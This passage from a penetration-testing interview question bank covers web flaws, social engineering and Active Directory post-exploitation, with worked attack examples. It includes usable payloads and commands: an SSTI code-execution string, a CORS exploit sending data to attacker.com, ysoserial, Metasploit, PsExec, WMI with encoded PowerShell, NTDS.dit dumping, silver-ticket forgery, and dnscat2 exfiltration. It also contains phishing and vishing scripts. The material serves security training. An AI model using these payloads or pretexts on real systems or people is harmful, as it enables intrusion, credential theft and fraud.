A front-end load balancer uses Content-Length, back-end uses Transfer-Encoding. Attacker sends a specially crafted request where the front-end forwards one 'complete' request, but the back-end sees two requests. The 'smuggled' partial request poisons the next user's request – the next user's POST body is prepended with attacker-controlled data, allowing header injection or account takeover.

Q145.

What is business logic vulnerability?

A:

Business logic vulnerabilities are flaws in the application's intended workflow or business rules rather than standard technical weaknesses. They are invisible to automated scanners because they require understanding of how the application is supposed to work. Examples: price manipulation, discount abuse, race conditions, workflow bypass, and quantity tampering.

Example:

An e-commerce site applies a 10% discount for orders over \$1,000. Workflow: add item (\$1,200) → coupon applied (10% off = \$1,080) → remove item until below \$1,000 (but discount remains applied) → final item (\$500) checked out for \$450 (discount preserved). Business logic flaw: the application doesn't re-validate the discount condition at checkout. Automated scanners would never find this.

Q146.

What is OAuth 2.0 security testing?

A:

OAuth 2.0 authorization flow vulnerabilities include: open redirect in `redirect_uri` parameter (stealing authorization codes), state parameter CSRF (missing or predictable state token), authorization code interception, token leakage in referrer headers, implicit flow token exposure in URL fragments, and misconfigured client credentials. Tools: Burp Suite OAuth scanner, manual testing.

Example:

Testing OAuth login: The `'redirect_uri'` parameter is `'https://app.com/callback'`. Modifying to `'redirect_uri=https://attacker.com/callback'` – if the server doesn't strictly validate, the authorization code is sent to the attacker's server. The attacker exchanges this code for an access token – complete account takeover without knowing the victim's password. Only needing the victim to click a crafted authorization link.

Q147.

What is API security testing?

A:

API security testing covers OWASP API Top 10 vulnerabilities: BOLA (Broken Object Level Authorization – IDOR), Broken Authentication, Broken Object Property Level Authorization (mass assignment), Unrestricted Resource Consumption (rate limiting), Broken Function Level Authorization (admin functions accessible by users), Unrestricted Access to Sensitive Business Flows, SSRF, Security Misconfiguration, Improper Inventory Management, Unsafe Consumption of APIs.

Example:

API testing of a ride-sharing app: GET `/api/trips/12345` returns another user's trip details (BOLA/IDOR). POST `/api/users` with body `{"role":"admin"}` – accepted by server (mass assignment). DELETE `/api/users/456` – accessible by normal users (broken function level authorization). POST `/api/auth/login` – no rate limiting allows unlimited password guesses. Four critical API vulnerabilities found through manual testing, all missed by automated scanners.

Q148.

What is template injection (SSTI)?

A:

Server-Side Template Injection (SSTI) occurs when user input is embedded directly into a template engine (Jinja2, Twig, FreeMarker, Velocity, Smarty) without sanitisation. The template engine evaluates the injected template syntax – allowing data extraction and Remote Code Execution. Different template engines use different syntax, so probing involves trying multiple payloads.

Example:

A contact form reflects the user's name back: `'Hello {name}!'`. Testing with `'{{7*7}}'`: if the response shows `'Hello 49!'` □ Jinja2/Twig SSTI confirmed. Jinja2 RCE payload: `'{{self.__init__.__globals__.__builtins__.__import__("os").popen("id").read()}}'`. Response: `'uid=33(www-data)'`. Complete RCE through a template injection in what appeared to be a simple name display feature.

Q149.

What is Mass Assignment vulnerability?

A:

Mass assignment (also called auto-binding or over-posting) occurs when a web framework automatically binds HTTP request parameters to object properties without restricting which properties can be modified. Attackers add extra parameters (isAdmin, role, balance) to legitimate requests – if the framework binds these without restriction, unauthorised properties are modified.

Example:

User registration POST request: {"username":"john","email":"john@test.com","password":"pass123"}. Pen tester adds: {"username":"john","email":"john@test.com","password":"pass123","isAdmin":true,"credits":10000}. If the server-side model has 'isAdmin' and 'credits' properties and doesn't have a whitelist – john's account now has admin access and 10,000 credits. Mass assignment turned a registration form into privilege escalation.

Q150.

What is clickjacking and how is it tested?

A:

Clickjacking (UI redressing) embeds a target website in a transparent iframe on a malicious page. When the victim clicks what they think is a button on the malicious page, they actually click on the transparent target site's button – performing unintended actions (like, purchase, delete account). Prevented by X-Frame-Options or Content-Security-Policy frame-ancestors headers. Tested by attempting to iframe the target.

Example:

Testing for clickjacking: Create HTML with " overlaid with fake 'Win a Prize – Click Here!' button. If the target loads in the iframe (no X-Frame-Options: DENY header), users clicking the prize button actually click the bank transfer confirmation button. Check: 'curl -I target.com | grep X-Frame-Options' – if missing, clickjacking is possible.

Q151.

What is HTTP response splitting?

A:

HTTP response splitting occurs when user-controlled data is embedded in HTTP response headers without sanitisation, and contains CR/LF characters (\r\n) that split the response into two. The attacker can inject arbitrary headers and body content into the second response – enabling XSS, cache poisoning, session fixation, and phishing attacks.

Example:

A URL redirect: '/redirect?url=https://safe.com'. Attacker crafts: '/redirect?url=https://safe.com\r\nSet-Cookie: session=attacker-session-id'. The server generates a response including the header: 'Location: https://safe.com' followed by injected 'Set-Cookie: session=attacker-session-id'. The victim's browser sets the attacker's session cookie – session fixation attack via HTTP response splitting.

Q152.

What is subdomain takeover?

A:

Subdomain takeover occurs when a subdomain's DNS record points to an external service (GitHub Pages, Heroku, S3, Azure, Netlify) that is no longer active/claimed. An attacker can register the same service account and host malicious content on the target's subdomain – same-origin policy bypass, phishing via trusted domain, and cookie theft.

Example:

A CNAME record: 'staging.company.com' → 'company-staging.azurewebsites.net'. The Azure app is deleted but the DNS record remains. A pen tester registers 'company-staging.azurewebsites.net' on Azure. Now 'staging.company.com' serves the attacker's content. Victims visiting 'staging.company.com' see attacker-controlled content on the company's official domain – perfect for phishing or session cookie theft (same-origin as company.com).

Q153.

What is HTTP Host Header injection?

A:

HTTP Host Header injection occurs when a web application uses the Host header to construct URLs or routing logic without proper validation. Attackers manipulate the Host header to cause: password reset link poisoning (reset link sent to victim goes to attacker's domain), cache poisoning (poisoned URL cached and served to other users), and SSRF via Host header routing.

Example:

Password reset request with normal Host: 'Host: target.com' → reset email contains 'https://target.com/reset?token=abc'. Pen tester intercepts and changes: 'Host: attacker.com' → reset email to the victim contains 'https://attacker.com/reset?token=abc'. When the victim clicks the reset link, their token is sent to attacker.com – account takeover via password reset link hijacking.

Q154.

What is XML injection and how does it differ from XXE?

A:

- XML Injection: Injects XML special characters (<, >, &, ' , ") into XML-based data without proper encoding, manipulating the XML structure – modifying values, injecting new elements, or breaking parsing.
- XXE (XML External Entity): Specifically exploits the XML external entity feature to read files or perform SSRF – a more severe impact.

XML injection manipulates data structure; XXE exploits XML parser features.

Example:

XML injection in a search function: Normal query: 'laptop'. Injecting: 'laptoptrue'. If the application rebuilds XML from this input and processes true, it might grant admin privileges. XXE would instead use an entity declaration to read /etc/passwd – different technique, potentially greater impact.

Q155.

What is Content Security Policy (CSP) and how can it be bypassed?

A:

CSP is an HTTP security header that specifies which sources of content (scripts, styles, images) are allowed to load. It mitigates XSS by blocking execution of inline scripts and scripts from unauthorised sources. Bypasses: using whitelisted CDN sources that host user content (script.google.com, cdnjs), JSONP endpoints on whitelisted domains, dangling markup injection, and base-uri injection.

Example:

CSP: 'Content-Security-Policy: script-src https://cdnjs.cloudflare.com'. This seems restrictive but a bypass exists: cdnjs.cloudflare.com hosts old versions of AngularJS with a known XSS gadget. Payload: `{{constructor.constructor("alert(1)")()}}` – CSP bypassed using a whitelisted library.

Q156.

What is insecure deserialisation and how is it exploited?

A:

Insecure deserialisation occurs when applications deserialise data from untrusted sources without proper validation. Attackers craft malicious serialised objects that, when deserialised, execute arbitrary code (gadget chains). Affects: Java (Apache Commons Collections), PHP (unserialize()), Python (pickle), .NET (BinaryFormatter), and Ruby. OWASP A08 vulnerability.

Example:

A Java web app accepts a serialised Java object in a cookie. Using ysoserial: `'java -jar ysoserial.jar CommonsCollections6 "id" | base64'`. This generates a malicious Base64-encoded serialised object. The attacker places it in the cookie. When the server deserialises the cookie, the Commons Collections gadget chain executes 'id'. Result: RCE from a crafted cookie – the server executes attacker commands during normal deserialisation.

Q157.

What is broken access control in web applications?

A:

Broken access control is the #1 OWASP vulnerability – failure to enforce restrictions on what authenticated users can do. Types: IDOR (accessing other users' data via ID manipulation), privilege escalation (normal user accessing admin functions), path traversal, CORS misconfiguration (allowing any origin), and missing function-level access control (admin endpoints accessible by regular users).

Example:

A social media app: Normal user can only see their profile at `'/profile/1234'`. Testing: changing to `'/profile/1235'` shows another user's private profile (IDOR). Adding `'/admin'` – the admin dashboard loads without admin privileges (missing function-level control). Sending request with header `'X-Forwarded-For: 127.0.0.1'` bypasses IP restriction on admin panel (parameter pollution). Three access control failures in one application.

Q158.

What is web cache poisoning?

A:

Web cache poisoning exploits the difference between what the cache key includes (typically URL) and what additional headers affect the response. By injecting malicious content via unkeyed inputs (Host header, X-Forwarded-Host, X-Original-URL), the poisoned response is cached and served to all users requesting the same URL — turning a victim into all users.

Example:

A web app uses the X-Forwarded-Host header to construct URLs in responses (but doesn't include it in the cache key). Attacker sends: 'GET / HTTP/1.1

Host: target.com

X-Forwarded-Host: attacker.com'. Response includes 'https://attacker.com/resources/main.js' (crafted from X-Forwarded-Host). This response is cached for the '/' path. All subsequent visitors load JavaScript from attacker.com — stored XSS at scale.

Q159.

What is race condition vulnerability in web applications?

A:

Race conditions occur when an application performs multi-step operations that must execute atomically but don't have proper synchronisation. Attackers send multiple concurrent requests to exploit the window between check and action. Common impacts: double-spending (use a coupon/gift card multiple times), limit bypass (exceed account withdrawal limits), and privilege escalation.

Example:

A coupon can be used once. The application checks: 'Is coupon used? No → apply discount → mark as used'. A pen tester sends 20 concurrent requests simultaneously using Burp Suite's Turbo Intruder. All 20 requests pass the 'is used?' check before any marks it as used — discount applied 20 times. Race condition in the coupon redemption flow allows a single coupon to be used infinitely through concurrent requests.

Q160.

What is GraphQL security testing?

A:

GraphQL APIs have unique security concerns: introspection (reveals entire API schema), over-fetching (requesting more data than authorised), query complexity attacks (deeply nested queries cause DoS), field-level authorisation gaps, IDOR via object IDs in queries, injection via arguments, and batching attacks. Tools: InQL, GraphQL Voyager, Altair.

Example:

GraphQL introspection query: '{__schema{types{name fields{name}}}}' — returns entire API schema including hidden types (AdminUser, InternalConfig). Admin query discovered: '{adminUsers{id email passwordHash role}}'. A normal authenticated user sends this query — server returns all admin accounts and password hashes (broken object-level authorisation at GraphQL field level). Introspection should be disabled in production.

Q161.

What is CORS (Cross-Origin Resource Sharing) misconfiguration?

A:

CORS controls which origins can make cross-origin requests to an API. Misconfigurations: 'Access-Control-Allow-Origin: *' with credentials (allows any origin to read credentialed responses), reflecting arbitrary Origin header (trusts any domain), trusting null origin, and overly permissive subdomain matching. Exploitation requires a victim to visit an attacker-controlled page.

Example:

Vulnerable CORS: API reflects any Origin in Access-Control-Allow-Origin and sets Access-Control-Allow-Credentials: true. Attacker creates page on attacker.com with: `fetch("https://api.target.com/user/profile", {credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://attacker.com/steal?d="+JSON.stringify(d)))`. Victim visits attacker.com □ their session cookie is sent to api.target.com □ response (profile data) is exfiltrated to attacker.com.

Q162.

What is prototype pollution in JavaScript?

A:

Prototype pollution is a JavaScript vulnerability where an attacker can modify the Object.prototype — the base object that all JavaScript objects inherit from. By injecting properties into the prototype, every object in the application inherits these properties — enabling authentication bypass, property injection, and in some cases Remote Code Execution (via server-side prototype pollution in Node.js).

Example:

A JSON-based web app processes: `'PATCH /api/settings {"__proto__":{"isAdmin":true}}'`. If the server-side merge function doesn't sanitise `__proto__` keys, `Object.prototype.isAdmin` becomes true — affecting ALL objects in the Node.js process. Any access check `'if (user.isAdmin)'` now returns true for all users — admin bypass without authentication. Found by fuzzing JSON object merge endpoints with `__proto__` keys.

Q163.

What is web application enumeration of CMS platforms?

A:

CMS enumeration identifies the specific CMS (WordPress, Drupal, Joomla, Typo3) and version, then maps known vulnerabilities. Methods: URLs (wp-login.php, administrator/index.php), meta tags (generator tags), response headers, file existence checks, and version-specific files. Each CMS has specific vulnerability scanners: WPScan (WordPress), Droopescan (Drupal/WordPress/Joomla).

Example:

Droopescan on a Drupal site: `'droopescan scan drupal -u https://target.com'`
Finds: Drupal 7.58 — vulnerable to CVE-2018-7600 (Drupalgeddon2, CVSS 9.8). Metasploit module `'exploit/unix/webapp/drupal_drupalgeddon2'` is used: `'set RHOSTS target.com; run'`. Pre-authentication RCE achieved — web shell dropped. A single CMS version identification leads directly to complete server compromise.

Q164.

What is a second-order SQL injection?

A:

Second-order (stored) SQL injection occurs when malicious input is safely stored in the database but later retrieved and used in an unsafe SQL query without proper sanitisation. The injection doesn't trigger immediately — it fires when the stored value is used in a subsequent database operation. Harder to detect because input sanitisation at storage time creates a false sense of security.

Example:

Registration stores username 'admin'--' safely (escaped). Later, a password change feature retrieves the username and uses it unsanitised: 'UPDATE users SET password=" WHERE username='admin'--" '. The -- comments out the WHERE clause □ ALL users' passwords are changed! The SQL injection was stored at registration and triggered at password change — two separate operations, invisible to standard SQL injection scanners.

Section 06: Social Engineering Attacks | Questions 221–245

Q165.

What is phishing and how is a phishing campaign conducted in a pen test?

A:

A phishing assessment simulates email-based attacks to test employee security awareness. Phases: 1) OSINT to identify targets and personalise emails, 2) Domain registration (typosquatting or spoofing), 3) Email template creation (pretexting), 4) Infrastructure setup (email server, landing page, credential capture), 5) Campaign execution, 6) Metrics collection (click rate, credential submission rate), 7) Reporting.

Example:

Pen test phishing campaign: Register 'company-it-support.com' □ create email 'noreply@company-it-support.com' □ send 200 employees email: 'IT Security Alert – Your password expires in 24 hours. Update at [link]' □ GoPhish tracks: 87/200 opened (43.5%), 52/200 clicked link (26%), 31/200 submitted credentials (15.5%). Report shows 31 employees gave their AD passwords to a fake site – immediate security awareness training required.

Q166.

What is spear phishing and how is it personalised?

A:

Spear phishing is highly targeted phishing using personalised information about the victim to increase credibility. Personalisation sources: LinkedIn (job role, connections, recent activity), company website (executive names), social media (interests, events attended), recent company news, and mutual connections. The personalised email appears to come from a trusted person about a relevant topic.

Example:

OSINT reveals: CFO John Smith recently attended the Nasscom Finance Conference, follows CEO Ram Sharma on LinkedIn, uses Oracle ERP. Spear phishing email: From 'ram.sharma@company-corp.com' (typosquatted): 'John, great connecting at Nasscom. As discussed, please review the attached Oracle ERP quarterly report – need your sign-off by EOD.' John, believing it's from the CEO about a real discussion, opens the attachment – malware deployed.

Q167.

What is vishing (voice phishing)?

A:

Vishing uses phone calls to manipulate victims into revealing credentials, performing actions, or providing sensitive information. Techniques: impersonating IT support, bank fraud departments, government agencies, or executives. Social engineering principles exploited: authority (pretending to be the boss), urgency (act now or your account is locked), and helpfulness (I'm here to help you).

Example:

Pen tester calls the help desk: 'Hi, this is Mike from IT – the CEO's executive assistant Sarah is locked out of her account and has an urgent board meeting in 10 minutes. The CEO is furious. Can you reset her password immediately and give me the temporary password?' Using authority (CEO) and urgency, the help desk resets the password without verifying Mike's identity – password disclosed, account compromised.

Q168.

What is pretexting in social engineering?

A:

Pretexting is creating a fabricated scenario (pretext) to manipulate a target. The attacker builds a believable identity and story before making contact. Common pretexts: IT support technician, vendor/contractor, auditor, new employee, regulator, or executive assistant. The pretext establishes authority and legitimacy before making the actual social engineering request.

Example:

Pretext: 'I'm from the company's IT vendor doing a scheduled router maintenance.' The pen tester, dressed in business casual with a company-branded lanyard (printed that morning), arrives at reception. 'I have a 10 AM maintenance appointment.' Receptionist checks the (non-existent) appointment diary, can't find it, but the tester says 'Maybe it's in the manager's calendar – they knew about it.' After 5 minutes, granted access to the server room.

Q169.

What is baiting in social engineering?

A:

Baiting exploits human curiosity by leaving infected physical media (USB drives) or offering enticing digital content (pirated software, free movies) that delivers malware when accessed. Physical baiting: leaving USB drives in target's parking lot, reception area, or conference rooms. Digital baiting: free downloads laced with Trojans, fake game hacks, or free tools.

Example:

A pen tester drops 10 USB drives in the target company's parking lot and lobby. Each USB is labelled 'Salary Review 2024 – Confidential'. Of 10 USBs dropped, 7 are found and plugged in by curious employees. Each USB executes autorun.inf and runs a PowerShell script that beacons back to the attacker's C2 server. 7/10 USB drives resulted in successful code execution – human curiosity is a reliable attack vector.

Q170.

What is tailgating and how is it prevented?

A:

Tailgating (piggybacking) is physically following an authorised person through a secured door without using your own credentials. It exploits social norms (holding the door for others) and lack of security awareness. Prevention: man-traps (double-door airlocks), security guards verifying each person independently, turnstiles, security awareness training, and a strict 'badge each person' culture.

Example:

A pen tester waits near a card-access door with hands full of equipment boxes (appearing like a delivery person). When an employee badges in, the tester says 'Thanks, could you hold the door? My hands are full.' The employee holds the door out of politeness. The tester enters without using a badge – tailgating successful. Mantraps (requiring the first door to close before the second opens) prevent this entirely.

Q171.

What is a watering hole attack?

A:

A watering hole attack compromises websites that specific target groups are known to visit — 'poisoning the watering hole' where the prey drinks. The attacker identifies websites frequented by the target organisation's employees (industry forums, supplier sites, news sites) and injects malicious code. When employees visit these legitimate sites, their browsers are exploited.

Example:

Attackers targeting a defence contractor identify that employees regularly visit a specific defence industry news website. They compromise the news site and inject a browser exploit (targeting a zero-day in Internet Explorer) into the homepage. When defence contractor employees visit the news site during their lunch break, their browsers are silently exploited and a RAT (Remote Access Trojan) is installed — all without any suspicious emails or downloads.

Q172.

What is SMS phishing (smishing)?

A:

Smishing sends fraudulent SMS messages impersonating trusted entities (banks, delivery services, government agencies) to steal credentials, install malware, or extract personal information. SMS has higher open rates than email (98% vs 20%) and users are less trained to be suspicious of text messages. Increasingly used alongside vishing for multi-channel attacks.

Example:

A pen test smishing campaign sends SMS to executives: 'HDFC Bank: Unusual login detected on your account. Verify immediately: <http://hdfc-secure-login.com> [link]'. The SMS appears to come from 'HDFC-Bank' (sender ID spoofed). Clicking leads to a convincing HDFC phishing site. 4 out of 8 targeted executives enter their banking credentials — demonstrating that SMS attacks bypass email security training.

Q173.

What is dumpster diving in physical pen testing?

A:

Dumpster diving is searching through discarded waste (paper shreddings, old computers, printed documents) to find sensitive information. Information found: usernames on printed screenshots, network diagrams, internal phone directories, financial reports, and IT asset information. Most companies discard sensitive documents without shredding, or shredded documents that can be reassembled.

Example:

A pen tester searches the company's dumpster (located outside the secure perimeter — accessible without breaking in). Finds: printed email with VLAN configurations and IP scheme, sticky note with what appears to be a password ('Admin@2023'), decommissioned laptop (hard drive not wiped — recoverable data), and an old phone directory with direct lines to IT staff. All valuable for follow-on social engineering attacks.

Q174.

What is OSINT on social media for social engineering?

A:

Social media OSINT gathers intelligence for targeted social engineering: employee names and job roles (LinkedIn), personal information enabling pretexting (Facebook/Instagram), current events and projects (Twitter), vacation schedules (when executives are unavailable), and personal email addresses. This intelligence personalises attacks and establishes credibility.

Example:

LinkedIn shows the IT Manager posted last week: 'Excited to be deploying our new Cisco Meraki network infrastructure next month!' and 'Just got back from Cisco Live conference.' This intelligence allows a pen tester to call the IT Manager: 'Hi, I'm from Cisco's Meraki support team. We noticed some configuration issues with your new deployment during your onboarding – can you provide access to the management console so we can resolve this before cutover?'

Q175.

What is whale phishing?

A:

Whale phishing (whaling) is highly targeted spear phishing aimed at senior executives (CEOs, CFOs, CIOs) who have access to critical systems, large financial authority, and sensitive business information. These attacks are highly personalised with detailed business pretext – often involving financial fraud, legal threats, or regulatory notices requiring urgent action.

Example:

The CFO receives an email appearing to be from the company's law firm (spoofed domain 'corporatelegal-firm.co.in' vs real 'corporatelegalfirm.in'): 'Confidential – Regulatory Investigation. SEBI requires immediate payment of ₹25 lakhs compliance fine. Wire transfer must be completed by 4 PM today to avoid criminal liability. Details attached.' The urgency, authority (law firm + SEBI), and large amount characterise a whale phishing attack targeting the CFO's financial authority.

Q176.

What is the GoPhish framework for phishing simulations?

A:

GoPhish is an open-source phishing simulation framework that provides: campaign management (create/schedule multiple campaigns), email template editor, landing page builder (capture credentials), real-time dashboard (track opens, clicks, submissions), and detailed reporting. It allows pen testers to run professional phishing assessments with metrics and timeline tracking.

Example:

GoPhish setup: Import 200 employee email addresses □ create email template (cloned from IT department's actual newsletter) □ create landing page (mirrored corporate intranet login) □ launch campaign □ dashboard shows real-time: 143 emails delivered (28.5% bounce rate – old email addresses), 67 opened (46.9% open rate), 34 clicked link (23.8%), 22 entered credentials (15.4%). Full campaign metrics for the security awareness report.

Q177.

What is SET (Social Engineering Toolkit)?

A:

SET (Social Engineering Toolkit) is a Python-based penetration testing framework specifically designed for social engineering attacks. Features: spear phishing attacks, website attack vectors (clone websites for credential harvesting), malicious file creation for phishing attachments, wireless access point attack, QR code attacks, and PowerShell injection attacks. Developed by TrustedSec.

Example:

SET website clone attack: 'setoolkit' □ '2) Website Attack Vectors' □ '3) Credential Harvester' □ '2) Site Cloner' □ 'Enter URL to clone: <https://target.com/login>'. SET clones the login page, sets up credential capture server, and provides the URL. When victims visit the cloned site and log in, SET captures and displays their credentials in real-time – complete credential harvesting infrastructure in 3 menu clicks.

Q178.

What is physical lock picking as a pen testing technique?

A:

Lock picking is manipulating a lock without the original key – a skill used in physical penetration testing to gain unauthorised access to restricted areas. Techniques: Single Pin Picking (SPP – manipulate individual pins), raking (rapid scrubbing to set multiple pins quickly), and bumping (bump key). Legal only with explicit written authorisation. Many commercial locks are surprisingly quick to pick.

Example:

A physical pen tester with written authorisation tests a company's server room security. Using a tension wrench and hook pick, they open the 'high-security' padlock on the server room door in 47 seconds. The Master Lock securing the network cabinet takes 12 seconds to rake open. Finding: physical security relies on cheap locks – the 'high-security' server room can be entered faster than typing a long password. Budget for proper locks with audit trails (electronic access control).

Q179.

What is RFID/badge cloning in physical pen testing?

A:

RFID badge cloning reads the signal from a victim's access card (proximity card) and writes it to a blank card – creating a clone. Many HID/EM4100 cards can be read from 30+ cm away using a Proxmark3 or ESPKey device. The attacker then uses the cloned card to access any door the original card can open. Many corporate badge systems use 125kHz cards that are trivially cloneable.

Example:

A pen tester uses a Proxmark3 (RFID reader/writer) hidden in a backpack near a turnstile. When an employee's badge comes within range during normal card access, the Proxmark3 silently reads the card data. Later, the tester writes the cloned data to a blank card. The next day, the cloned badge opens the turnstile, reception door, and floor access – complete facility access via a 3-second passive read from 20cm away.

Q180.

What is influence and persuasion principles used in social engineering?

A:

Robert Cialdini's six principles of influence are exploited in social engineering:

- Reciprocity (doing a favour first)
- Commitment (getting small yes before big ask)
- Social Proof (others are doing it)
- Authority (pretending to be in power)
- Liking (building rapport)
- Scarcity/Urgency (act now or lose access).

Effective social engineering typically exploits 2-3 principles simultaneously.

Example:

Phone vishing: 'Hi Sarah, this is James from IT (Authority). I noticed you reported a problem with your VPN last week (Liking – showing awareness). I've fixed it for 47 other employees today (Social Proof). I just need to quickly confirm your password to test the fix (big ask after rapport). We need to close these tickets by 5 PM today (Urgency).' Four Cialdini principles deployed in one call – highly effective against untrained employees.

Section 07: Post-Exploitation & Lateral Movement | Questions 246–275

Q181.

What is the post-exploitation phase and what are its objectives?

A:

Post-exploitation begins after initial system compromise and aims to demonstrate the full business impact of the breach. Objectives: privilege escalation (gain highest possible privileges), credential harvesting (collect passwords/hashes for lateral movement), data exfiltration (demonstrate access to sensitive data), persistence establishment (survive reboots), lateral movement (spread to more systems), and pivoting (reach additional network segments).

Example:

After compromising an employee's laptop via phishing: Post-exploitation objectives achieved: 1) Escalated from user to local admin (UAC bypass), 2) Extracted all stored browser passwords (Chrome credential dump), 3) Accessed and 'exfiltrated' a sample of the HR shared drive (sensitive data access demonstrated), 4) Established persistence (scheduled task), 5) Discovered and compromised 3 more workstations using captured credentials, 6) Reached the finance VLAN via pivot.

Q182.

What is lateral movement and what techniques are used?

A:

Lateral movement is the set of techniques attackers use to progressively move through a network after initial access, compromising additional systems. Techniques: Pass-the-Hash (PtH), Pass-the-Ticket (Kerberos), credential reuse (same password on multiple systems), Remote services (WMI, PSEXec, SSH, RDP, SMB), and web application exploitation on internal systems.

Example:

Lateral movement attack chain: Compromise workstation via phishing □ extract NTLM hashes (Mimikatz) □ Pass-the-Hash to file server (CrackMapExec: 'cme smb 192.168.0.0/24 -u Admin -H [hash]' – finds 8 systems where hash is valid) □ on file server, find credentials in a script file □ use credentials for RDP to dev server □ dev server has connection to production database. Chain: workstation □ file server □ dev server □ production data.

Q183.

What is PsExec and how is it used for lateral movement?

A:

PSEXec is a Microsoft Sysinternals tool that enables remote command execution on Windows systems over SMB using administrator credentials. Attackers use it for lateral movement by connecting to a remote system's ADMIN\$ share, copying PsExec service binary, and executing commands. Detection: creates a new service on the target, generates specific Windows Event IDs (7045, 4624 Type 3).

Example:

With valid admin credentials: 'psexec.exe \\192.168.1.20 -u Administrator -p Password123 cmd.exe'. This opens an interactive command shell on the remote system. In Metasploit: 'use exploit/windows/smb/psexec; set SMBPass Password123; set RHOSTS 192.168.1.20; run' □ Meterpreter shell. PsExec is used by both legitimate admins and attackers – making detection based on the legitimacy of the account used.

Q184.

What is WMI (Windows Management Instrumentation) for lateral movement?

A:

WMI is a Windows administration framework that can execute code on remote systems using administrative credentials. For lateral movement: 'wmic /node:target /user:admin /password:pass process call create "cmd.exe"'. WMI execution leaves fewer traces than PsExec (no service creation) and is a common APT lateral movement technique. PowerShell Invoke-WMIMethod also uses WMI.

Example:

WMI lateral movement: 'wmic /node:192.168.1.30 /user:corp\administrator /password:Corp@2023 process call create "powershell -enc [base64 payload]"'. The base64-encoded PowerShell downloads and executes a Meterpreter payload on the remote system without creating files. WMI-based execution appears in security logs as a WMI event – less obvious than new service creation from PsExec. Stealthier lateral movement technique.

Q185.

What is credential harvesting from browsers?

A:

Browsers store credentials in encrypted local databases. Chrome stores credentials in 'Login Data' (SQLite database) encrypted with Windows DPAPI (Data Protection API). Mimikatz and LaZagne can decrypt these using the logged-in user's context. Firefox, Edge, and IE also store credentials. Post-exploitation tools (LaZagne, Browser History Examiner) automate extraction of all stored browser passwords.

Example:

LaZagne on a compromised workstation: 'python laZagne.py all'

Output includes Chrome credentials:

'URL: https://github.com – Login: john@corp.com – Password: GitH@b2023'

'URL: https://corp-vpn.company.com – Login: john.doe – Password: Corp@VPN2022'

'URL: https://corp.salesforce.com – Login: john.doe – Password: Sales@2023'

Three high-value credentials extracted from browser storage – VPN access, GitHub, and Salesforce all compromised from one browser dump.

Q186.

What is a C2 (Command and Control) framework?

A:

A C2 (Command and Control) framework provides infrastructure for maintaining persistent communication with compromised systems. The C2 server sends commands and receives data from implants/agents deployed on victim machines. Modern C2 frameworks: Cobalt Strike (most advanced), Metasploit with Meterpreter, Empire (PowerShell), Covenant (.NET), Sliver (Go-based, open-source). Features: multi-tasking, pivoting, file transfer, and evasion.

Example:

Cobalt Strike C2 workflow: Attacker generates a Cobalt Strike beacon (shellcode). Delivers via phishing. On execution, beacon phones home to C2 server (HTTPS on port 443 – appears like normal web traffic). C2 dashboard shows active beacons: 5 compromised workstations. Attacker issues commands: 'shell whoami', 'execute-assembly Seatbelt.exe', 'logonpasswords' (runs Mimikatz), 'jump psexec 192.168.1.50' (lateral movement). All operations through encrypted HTTPS channel.

Q187.

What is exfiltration techniques in pen testing?

A:

Data exfiltration in pen testing demonstrates the ability to extract sensitive data from the environment. Techniques: HTTPS (blend in with normal traffic), DNS tunnelling (encode data in DNS queries – bypasses many firewalls), ICMP tunnelling (encode in ping packets), steganography (hide in image files), cloud storage (upload to Google Drive/Dropbox), and encrypted email. The goal is demonstrating impact without actually stealing data.

Example:

Demonstrating DNS exfiltration: Tool 'dnscat2' encodes data in DNS queries. Command on target: 'dnscat2 --dns server=attacker.com,port=53'. Data is split into chunks and sent as DNS queries to attacker.com's authoritative DNS server: 'chunk1.c2.attacker.com A query? (actually carrying exfiltrated data)'. The attacker receives DNS queries on their server, reassembles the data. Most firewalls allow DNS (port 53) outbound – bypassing DLP and egress filtering.

Q188.

What is NTDS.dit and why is it important?

A:

NTDS.dit is the Active Directory database file stored on all Domain Controllers at 'C:\Windows\NTDS\NTDS.dit'. It contains all AD objects including: all domain user accounts, their NTLM password hashes, Kerberos keys, group memberships, and computer accounts. Extracting NTDS.dit with the SYSTEM hive allows offline cracking of ALL domain password hashes – complete domain compromise.

Example:

Domain Controller compromise □ NTDS.dit extraction: 'ntdsutil "ac i ntds" "ifm" "create full C:\temp\" q q' (creates a copy using VSS). Transfer NTDS.dit + SYSTEM registry hive. Offline extraction: 'secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL'. Output: All 2,847 domain account NTLM hashes. Submit to Hashcat – within 24 hours, 2,100 cracked. Complete credential dump of every domain account.

Q189.

What is Active Directory persistence techniques?

A:

AD persistence techniques maintain access even after initial entry point is remediated: Golden Ticket (forged TGT using krbtgt hash), Silver Ticket (forged TGS for specific service), AdminSDHolder ACL persistence (modify ACL on AdminSDHolder container to include attacker account), skeleton key (patch LSASS on DC to accept 'master password'), and DCShadow (register rogue DC).

Example:

AdminSDHolder persistence: Normal user 'svc-attacker' is given GenericAll permission on the AdminSDHolder container. Active Directory's SDProp process (runs every 60 minutes) propagates these permissions to all protected accounts (Domain Admins, Administrators). Now 'svc-attacker' has full control over all admin accounts. Even if the attacker's Domain Admin account is removed, they can restore it via svc-attacker – durable, hard-to-detect persistence.

Q190.

What is a silver ticket attack?

A:

A Silver Ticket is a forged Kerberos Service Ticket (TGS) for a specific service, created using the service account's NTLM hash (not krbtgt). Unlike Golden Tickets (domain-wide), Silver Tickets only work for the specific service whose hash was used. Benefits: more stealthy (doesn't contact the KDC — requests not logged), and persists for the ticket lifetime (typically 10 years if crafted manually).

Example:

Pen tester has compromised MSSQL service account hash (via Kerberoasting). Silver Ticket creation: 'kerberos::golden /user:SQLAdmin /domain:corp.local /sid:S-1-5-21-xxx /target:sqlserver.corp.local /service:mssqlsvc /rc4:NTLMhash /id:500'. This forged ticket grants admin access to the MSSQL service on sqlserver.corp.local — without ever contacting the Domain Controller. Database compromise with no KDC authentication logs.

Q191.

What is network discovery during post-exploitation?

A:

Network discovery from a compromised host reveals the internal network topology — information not visible from outside. Techniques: ARP table review (connected segment hosts), routing table analysis (reachable networks), netstat (current connections showing internal server IPs), internal DNS queries (discovering service hostnames), network scanning through pivots, and reviewing network configuration files.

Example:

From a compromised Windows workstation: 'arp -a' reveals 15 hosts on the local subnet. 'route print' shows routes to 4 additional subnets (10.0.0.0/24, 192.168.10.0/24 — server VLAN, 192.168.20.0/24 — finance VLAN, 172.16.0.0/16 — data centre). 'netstat -ano' shows active connections to 192.168.10.5:1433 (SQL Server) and 192.168.10.10:445 (file server). Network map built from a single compromised workstation.

Q192.

